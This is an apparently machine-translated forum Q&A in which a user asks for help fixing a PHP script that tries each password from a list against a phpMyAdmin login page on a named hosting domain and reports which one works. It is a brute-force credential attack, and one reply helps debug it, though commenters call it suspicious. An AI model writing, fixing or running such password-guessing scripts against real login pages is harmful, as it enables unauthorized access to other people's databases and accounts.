2009-02-07 23 views
0

J'essaie de coder un script de connexion pour phpmyadminscript de connexion Phpmyadmin

<?php  
$user = "Domain"; 
$passwords = file("passwords.txt"); 

foreach ($passwords as $pass){ 
$source = file_get_contents("http://dbadmin.one.com/index.php?lang=en&server=1&pma_username=$user&pma_password=$pass"); 
if(preg_match("/Database/", $source)): 
echo "Login Worked with: {$pass}"; 
endif; 
} 
?> 

Mon problème est, il fonctionne ici DonT

echo "Login Worked with: {$pass}"; 

Pouvez-vous voir le problème?

+0

Qu'est-ce qui ne fonctionne pas exactement? Quel est le message d'erreur? – bchhun

+0

Cela semble * vraiment * mal. Êtes-vous ... en train de pirater un site? Bonne chance avec ça ... – strager

+0

Ça a vraiment l'air douteux au mieux ... –

Répondre

1

Pas nécessairement la solution à votre problème, mais quelques vérifications d'erreurs de base peuvent vous orienter dans la bonne direction. Votre problème peut même commencer lors de l'appel initial au fichier.

$passwords = file("passwords.txt"); 

if (!$passwords) { 
echo 'Unable to read password file'; 
} //etc 

$source = file_get_contents("http://dbadmin.one.com/index.php?lang=en&server=1&pma_username=$user&pma_password=$pass"); 

if (!$source) { 
echo 'Unable to read file source'; 
} //etc 

également comme une note de côté si vous appeliez cette fonction sur un fichier en dehors de votre système de fichiers ne serait pas vous obtenez seulement la sortie (HTML) similaire à l'appeler dans votre navigateur (pas sûr si cela était votre intention).

0
$source = file_get_contents("http://dbadmin.one.com/index.php?lang=en&server=1pma_username=$user&pma_password=$pass"); 
if(preg_match("/Database/", $source)): 

La valeur de $ source va être la réponse complète HTML d'obtenir l'url:

http://dbadmin.one.com/index.php?lang=en&server=1&pma_username= $ user & pma_password = $ passer

preg_match ne va correspondre au premier ligne de cette chaîne. Vous aurez besoin d'analyser la chaîne différemment ou de remplacer tous les caractères de retour à la ligne pour qu'elle corresponde à l'ensemble du fichier.

Il semble également que vous testiez les connexions à une base de données en utilisant le nom d'utilisateur «Domaine» avec un certain nombre de mots de passe différents. Je ne sais pas si c'était votre intention, mais cela semble un peu étrange.